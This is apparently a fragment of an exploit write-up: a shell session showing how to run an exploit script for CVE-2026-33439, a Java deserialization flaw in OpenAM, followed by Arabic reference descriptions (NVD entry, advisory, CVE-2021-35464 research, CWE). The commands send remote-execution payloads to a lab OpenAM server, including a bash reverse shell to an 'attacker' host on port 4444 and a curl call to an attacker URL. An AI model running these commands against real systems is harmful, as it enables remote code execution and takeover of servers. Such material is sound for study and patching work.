# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
إدخال قاعدة بيانات الثغرات الوطنية (NVD) الخاص بـ CVE-2026-33439.
نشرة رسمية تتضمن تحليل السبب الجذري والكود المتأثر وتفاصيل سلسلة الأدوات (gadget chain).
الثغرة الأصلية التي أدخلت WhitelistObjectInputStream لـ jato.pageSession.
بحث أصلي حول CVE-2021-35464 يغطي آلية إلغاء التسلسل (deserialization) في JATO.
إدخال MITRE CWE الذي يصف فئة الثغرة.